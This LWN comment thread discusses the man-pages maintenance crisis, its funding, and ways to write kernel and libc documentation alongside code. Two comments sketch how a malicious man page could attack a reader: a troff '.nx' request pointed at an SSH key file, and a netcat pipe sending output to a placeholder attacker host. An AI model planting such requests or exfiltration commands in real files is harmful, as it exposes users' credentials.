LWN: Comments on "Man pages maintenance suspended"

Posting an update: Alejandro's work has been funded for 2025

mdolan — Fri, 28 Feb 2025 20:13:53 +0000

I'd like to thank Adfinis, Google, Hudson River Trading, Meta, and Red Hat who came together to fund Alejandro's work for the next 12 months. If your organization is able and willing to help contribute and extend that support, please let me know.

https://www.linkedin.com/posts/the-linux-foundation_linux...

man locally

moltonel — Wed, 25 Sep 2024 09:25:16 +0000

KDE's konqueror is a pretty good local, tabbed man/info browser. Just enter "info:/bash", "man:/fopen", "man:/", etc as the url.

Contributors

ceplm — Mon, 23 Sep 2024 10:16:21 +0000

> Part of the problem is GNU changing all their man pages to say "the real documentation is at 'info whatever'", which has told people that maintaining a decent - AND COMPREHENSIVE - archive of documentation is not worth doing.

That’s obviously evil, I don’t dispute that, but there used to be a project maintaining non-mangled versions of these manpages. Or am I hallucinating (even humans can hallucinate)?

not a dev

paulj — Thu, 12 Sep 2024 23:15:37 +0000

The glibc info document has some really good stuff in it. Thanks v much to the project for it!

not a dev

djdelorie — Thu, 12 Sep 2024 17:37:05 +0000

Just to make sure everyone knows. the GNU C Library has its own manual (https://www.gnu.org/software/libc/manual/) so we're already writing our own documentation, and have been for a long time. Also, most glibc developers are contributors to the man pages project. While neither the manual nor the man pages are "glibc complete", I don't think either is so incomplete that the loss of the other would be a "large chunk" of loss.

(Not trying to belittle Alex's efforts; his work is hugely appreciated, just trying to address this one point)

man locally

NYKevin — Thu, 12 Sep 2024 02:50:40 +0000

Pro tip: All of the GNU texinfo manuals have been precompiled into HTML, which can be found by searching the web for e.g. "coreutils [name of command] invocation" and clicking the result from gnu.org. They are all very nice, readable pages with sensible margins and fonts, and absolutely none of the modern web's annoyances.

man locally

atnot — Wed, 11 Sep 2024 08:45:04 +0000

> I used to do google "man fopen" and stuff like this

I do this consciously for a few reasons:
- The formatting and searching experience is usually more pleasant (especially with https://docs.jade.fyi/, which you can also use offline)
- Having many browser tabs open is usually a better experience for referencing stuff than having many terminals open (even with tabs)
- I will usually have other documentation and searches open in my browser anyway and this means they'll be right alongside them

How can I support?

chriz — Tue, 10 Sep 2024 15:45:42 +0000

Hi all,
How can I support the man pages project with work?

Cheers
chriz

man locally

Wol — Tue, 10 Sep 2024 09:47:36 +0000

> Funny side note... I used to do google "man fopen" and stuff like this and a colleague said: "Are you stupid? Why don't you use this locally"

I usually google "man fopen" or whatever. However I see it a bit different from you - running gentoo a lot of stuff isn't on my system so running man locally often fails.

But yes, the point still stands that "man whatever" is pretty much guaranteed to work, whether typed locally for a command on your system, or googled for something that SHOULD be on your system :-)

(And much as I hate texinfo, even a bare page that says "use texinfo" is a good starting point. I generally go straight from there to "how do I convert texinfo to pdf", which I never remember because I don't do it much ...)

Cheers,
Wol

man locally

andi8086 — Tue, 10 Sep 2024 08:11:05 +0000

Funny side note... I used to do google "man fopen" and stuff like this and a colleague said: "Are you stupid? Why don't you use this locally" :D Yeah, but I am completely your opinion. Everything should be easy to find and stay. The man system is old and ingenious!

not a dev

NYKevin — Tue, 10 Sep 2024 02:02:33 +0000

Personally, I'm not terribly interested in litigating the man-vs-texinfo debate, here or elsewhere. My assumption is that, if glibc finds itself in a position where a large chunk of its functions suddenly don't have adequate documentation, then there's a reasonable likelihood that they will decide to write it themselves, and/or ship documentation written by others. Such documentation will probably have at least as much detail as a typical man page, and will almost certainly be in a freely accessible format of some kind. I could be mistaken about glibc's intentions or capabilities, of course (but not about their commitment to making whatever they do ship freely accessible one way or another, since it's kind of their core mission statement).

not a dev

branden — Mon, 09 Sep 2024 23:09:54 +0000

> * GNU (who do not like man pages, and have for many years been trying to convince the rest of us to switch to texinfo, but at least texinfo files would still be freely accessible and usable

The official GNU position on this has softened over the years. While as I vaguely recall, GNU's Coding Standards document used to say, more or less, "don't bother with man pages", it now says (and has for a while):

"In the GNU project, man pages are secondary. It is not necessary or expected for every GNU program to have a man page, but some of them do. It’s your choice whether to include a man page in your program." https://www.gnu.org/prep/standards/standards.html#Man-Pages

Just this weekend I got an email from the GNU account management folks that I'm the new groff maintainer. I've been working on groff for a while. One of my objectives has been to make the man page experience better in both content and presentation (starting with many of groff's own).

git-diff(1) with man(7) source

alx.manpages — Mon, 09 Sep 2024 13:08:15 +0000

The git-diff(1) and gitattributes(5) advice in ./CONTRIBUTING.d/git improves reviewing man(7) diffs.

<https://git.kernel.org/pub/scm/docs/man-pages/man-pages.g...>

```
git-diff(1), gitattributes(5)
To produce useful hunk contexts in manual pages, we need to hack
git(1)'s idea of a function name, and also to tell git what is a
manual page.

$ git config --global diff.man.xfuncname '^\.S[SHsh] .*$';
$ echo '*.[0-9]* diff=man' >>~/.config/git/attributes;
```

Maybe one of the problems here is troff

metan — Mon, 09 Sep 2024 12:30:04 +0000

I do not know how it's for others but for me the man pages format has been the major roadblock. I tend to forget the formatting between man pages contributions and I do not like to look at diffs in troff.

One option I was thinking of was to add support into man for a better markup e.g. markdown, add new man pages into that format and possibly semi-automatically convert the old pages as well. It would be much more easier to write and review changes after this, at least for me.

Misplaced calls

paulj — Mon, 09 Sep 2024 08:57:44 +0000

I see a few comments that omit any call for support (or even are explicit they can not/won't), but say the maintenance should pass to someone else. Or it should be taken over. How misplaced is that? The maintainer here needs some /support/ to do this job. They presumably would still love to do this job, or else they /would/ indeed have just handed it on and made finding support someone else's problem. Just passing on the issue doesn't fix the lack of support (i.e., "roof over head" type support).

This is the tragedy of all this. So many massive companies relying on work like this, and if and when some hapless volunteer tries to call attention to the lack of support for it, the general reaction is to kick them in the nuts.

not a dev

NYKevin — Mon, 09 Sep 2024 07:47:55 +0000

It is helpful to maintain a sense of perspective here. There are many groups and organizations that care about the existence of these man pages. If the work does not continue within the kernel's development process (which it may, because someone could still step up and take on the work), then it will most likely be continued by someone else. The "obvious" candidates I can immediately think of include:

* Debian (who have a history of maintaining man pages for GNU userland utilities in section 1 of the manual, and could probably pick up section 2 if nobody else is doing it)
* Red Hat (who have a history of maintaining their own man pages where necessary for the benefit of their customers, and would probably not be willing to sell customers a RHEL whose manual is substantially incomplete or outdated)
* GNU (who do not like man pages, and have for many years been trying to convince the rest of us to switch to texinfo, but at least texinfo files would still be freely accessible and usable - also they maintain glibc, so they necessarily know how every syscall that has a wrapper works).

Even if these man pages do disappear, other forms of documentation will remain accessible, including:

* Much of the material linked from https://docs.kernel.org/userspace-api/index.html, but that is rather limited in scope compared to section 2 of the manual.
* The POSIX standard, which is freely available at https://pubs.opengroup.org/onlinepubs/9799919799/, comprehensively documents all standardized interfaces, but does not cover anything Linux-specific.

Overall, while this development is not exactly a good sign for the project's long-term health, neither is it an imminent disaster.

Contributors

gnoack — Mon, 09 Sep 2024 07:22:46 +0000

FWIW, I believe I found a way that might be better:

Import multiple projects into the same local repository.

This is a bit unusual, but you can actually just git fetch multiple unrelated repositories at once.

In my example, I used worktrees to make my file system layout look a bit more conventional -- have one worktree under /tmp/proj and one under /tmp/man. For the sake of the example, I'll assume that they are checked out to same-named branches "proj" and "man".
Now you can format a patch set using:
```
git format-patch --cover-letter --subject-prefix="PATCH proj" proj^^..proj man^..man
```
This results in a single patch set that includes both the project and man page patches.

Caveats:
- May need to control order of patches a bit better. Setting a newer timestamp on the man page patches seems to order them to the end, though.
- The subject prefix is still the same for all commits, those need to be edited by hand for the man page commits. Not sure whether there is a better way.

Maybe this is what Jiri used?

not a dev

flinx101 — Sun, 08 Sep 2024 21:26:25 +0000

I am an outsider to this forum. I am a Linux supporter and have been using desktop Linux for over a decade. These days I have not booted into windows in months on my home system because all my needs are met in Linux. I was never aware of this forum until yesterday and just stumbled into it. At first glance this advisory stood out to me. Based on previous experience I felt a need to chime in as the last time I was struck by significance like this I said nothing and the project collapsed completely within a year.
I am not a dev and cannot in any way help with this, But I feel strongly enough to pay money just to post this one comment on here. I feel that if this project is not maintained it will have very bad consequences for the future of Linux.
Note: I am aware of man pages but have never actively used them.

Contributors

alx.manpages — Sun, 08 Sep 2024 13:55:24 +0000

`git format-patch --thread=shallow` is what you're looking for.

```
--thread[=<style>], --no-thread
Controls addition of In-Reply-To and References headers to
make the second and subsequent mails appear as replies to the
first. Also controls generation of the Message-ID header to
reference.
```

That will generate a Message-ID in the cover letter when you generate the kernel patch set. When you generate the patch set for the man pages, just use `--in-reply-to="<the_message_id_of_the_cover_letter>"`.

I don't know if there's a better way to do it. This one looks simple to me. You may want to also tweak the patch numbers, which I think you'll need to do manually (at least some part), but you could use separate numbering as well, which I think is fine, and wouldn't require manual tweaks. Maybe Jiri can explain another approach.

Contributors

phm — Sun, 08 Sep 2024 13:26:22 +0000

> I know man sections are numbered, but can they be named?

AFAIK yes. Perl uses it's own section "3p" or "3perl". I've never used FreeBSD but I checked their man website and they have a section named "n".

Contributors

gnoack — Sun, 08 Sep 2024 13:06:11 +0000

Oh, thanks, I had no idea this was even possible with git format-patch! o_O. I agree, we should absolutely start using that process (once the maintenance situation is resolved).

IMHO this should not just go into the man-pages documentation, but also in the kernel contribution documentation.

Is there a recommended way to produce such patch sets, and to mail them, other than manipulating the generated mails themselves? Are there special tools that people use which I overlooked? :)

Thanks,
—Günther

Contributors

alx.manpages — Sun, 08 Sep 2024 12:14:54 +0000

> and if you're the reviewer, reading code and docs at the same time might help you to spot inconsistencies which typically mean some cases were not considered by the author.

That's precisely how it's done. The patches being to separate git repositories doesn't mean that they must be in separate mail threads.

See an example of a kernel feature and its documentation being reviewed at the same time, and by all parties, here:
<https://lore.kernel.org/linux-man/CAEf4BzZzE94QUdhWPmrMzR...>

And for libc, it would also be great if developers would include a man-pages patch at the same time they work on a libc feature, and send both the libc and man-pages patches in the same mail thread, for a better review.

Maybe this should be documented in the contribution guidelines of the man-pages project.

Contributors

intelfx — Sun, 08 Sep 2024 11:51:27 +0000

> Several contributors do that already, and we discuss the manual page in parallel to the kernel patches.

I guess I'll second the GP and say it would be much better and easier to follow and review it if both were maintained in the same place such that it could be part of the same patchset.

It's like rubber duck debugging — if you're the patchset author, writing docs at the same time might help bring your attention to semantic problems or unsoundness, and if you're the reviewer, reading code and docs at the same time might help you to spot inconsistencies which typically mean some cases were not considered by the author.

Contributors

alx.manpages — Sun, 08 Sep 2024 09:24:42 +0000

Step 2 is not necessary, and in fact, I think it's much better to write the manual page as soon as possible, alongside the kernel patch set. It's not necessary to write it in v1 of a patch set, since the patch set may change significantly after some initial feedback, and I understand that writing a manual page is not as easy as writing code unless you're used to it, but I would recommend to write it as soon as the feature is getting a shape.

Several contributors do that already, and we discuss the manual page in parallel to the kernel patches. I usually do not merge the manual page until the feature is in Linus's tree, but the manual page is mostly ready by that time. I then get a ping when the feature is merged, proceed to a fresh review of the page in case I find something I missed, and merge it if it's fine.

Contributors

Wol — Sun, 08 Sep 2024 09:03:03 +0000

Slightly off-the-wall comment - I know man sections are numbered, but can they be named? So we could have a command like "man kernel ioctl32"?

So that's then kept up-to-date with the kernel, and copied in to the man tree when a kernel is installed/updated.

(That trick would also work with all sorts of other things, so things like kde, postgres, scarletdme, what-have-you, could put things into the man system.)

Cheers,
Wol

Contributors

gnoack — Sun, 08 Sep 2024 08:49:10 +0000

I realize that some glibc wrappers have different APIs than what the kernel provides (like e.g. the nptl(7) signal hack for process credential changes). But there is also a long list of documented functionality which does not have glibc wrappers, or whose semantics are not changed by the glibc wrappers.

In fact, IIUC, this should already be true for much of the (a) IOCTL commands, (b) /proc interfaces, and (c) the conceptual documentation in man7?

Just having a place in the kernel tree where such man pages could be put at all would help, IMHO.

As an example, I have been contributing to Landlock in the last years, whose API is not wrapped by glibc, and our documentation process has been causing us a lot of back-and-forth due to that split. Specifically, the process is roughly this:

Write a kernel feature which exposes new functionality. Document it in Linux's Documentation/ subdirectory and in kernel headers in ReST format.
Wait until the feature is in a stable kernel.
Convert the documentation into man-page troff format, using the same phrasing as in the kernel tree.

Some problems with this process are:

There are months that need to pass between step (1) and step (3) -- time in which most contributors have long moved on to newer features, and so the man page documentation can easily be forgotten or delayed.
It is a two-way sync: The phrasing and documentation feedback on the man-page list is much better (thanks to you and Alejandro). On one side this is great feedback, but it also increases the back and forth even more as the same fixes need to be applied in the kernel documentation to keep it in sync.

Don't get me wrong -- I am truly thankful for your and Alejandro's work on all of this -- It just seems to me that the current process was indeed hampering the documentation efforts a bit. A few months ago I talked to a group of other kernel developers to ask them how they dealt with it, and found that they had simple not been writing any man pages at all. I suspect that if man pages could be commited in the same patch series as the code and the kernel documentation, documentation writing would become a much more natural and straightforward part of the process, no?

—Günther

Reading files using man pages

KJ7RRV — Sun, 08 Sep 2024 04:00:03 +0000

Wouldn't this require the attacker to trick the user into sending them the output to actually be harmful, for example, by running a command like man badman | nc 1234 bad.example.com, in which case a simple cat (or redirection, since this would be a UUOC) could be substituted for man, avoiding the need for a malicious man page entirely?

Contributors

fredi@lwn — Sat, 07 Sep 2024 21:04:26 +0000

IMHO, what you are asking Alejandro for, needs time and effort too.

Contributors

fw — Sat, 07 Sep 2024 20:08:11 +0000

Historically, troff has some shell scripting integration (.pi and other commands). Most of it should be disabled by default (but it didn't work that well for Ghostscript). Even reading other files can be problematic. You can try

.nx ../.ssh/id_rsa.pub

from a .man file in ~/Downloads.

Contributors

ballombe — Sat, 07 Sep 2024 18:24:58 +0000

Just add typos in code examples and wait for people to incorporate them in their code...

Maybe Petition the Foundation

mkerrisk — Sat, 07 Sep 2024 15:47:51 +0000

> I think montj2 was implying that the BSD man pages are in better shape than the Linux ones.

Well if we are talking about pages in man2, I'd say that the Linux pages are in *considerably* better shape than the BSD pages...

Contributors

koverstreet — Sat, 07 Sep 2024 14:55:16 +0000

yep, the industry is all about chasing OKRs and cat pictures or whatever the bullshit of the day is.

this sort of thing isn't going to get fixed without a major power struggle.

Maybe Petition the Foundation

dskoll — Sat, 07 Sep 2024 13:51:22 +0000

I think montj2 was implying that the BSD man pages are in better shape than the Linux ones.

Maybe Petition the Foundation

k3ninho — Sat, 07 Sep 2024 07:19:31 +0000

Looks and smells like Core Infrastructure to me.

K3n.

Contributors

Cyberax — Sat, 07 Sep 2024 05:08:34 +0000

Injecting malicious code via man pages? Now that's a challenge!

Maybe Petition the Foundation

carlosrodfern — Sat, 07 Sep 2024 02:07:38 +0000

This would be awesome.

Regarding your reference to BSD, this project in question is about linux man pages, not the gnu man-db project itself, so BSD is not affected as far as I understand.

Contributors

linuxrocks123 — Sat, 07 Sep 2024 01:34:32 +0000

Indeed, that's a good plan. Jia Tan may be a good candidate since he likely has some free time after stepping down as xz-utils co-maintainer.

Maybe Petition the Foundation

montj2 — Sat, 07 Sep 2024 01:21:31 +0000

Can't the Linux Foundation step in here and fund the effort? The man pages are certainly a weak link; especially when you man $anything on a BSD system...

Contributors

tglx — Fri, 06 Sep 2024 21:15:20 +0000

Yet another perfect example that infrastructure work is a thankless and undervalued effort. There have been so many wake up calls in the last decade, but most of them have been ignored for the very same reason.

The problem with this whole industry is that it completely lost the sense for the importance of cleaning up technical debt. Maybe it never developed it in the first place.

The 'features and performance first' mindset will rear it's ugly head sooner than later.

Project URL

mikejang — Fri, 06 Sep 2024 20:07:42 +0000

Ah I think I see it: https://lore.kernel.org/linux-man/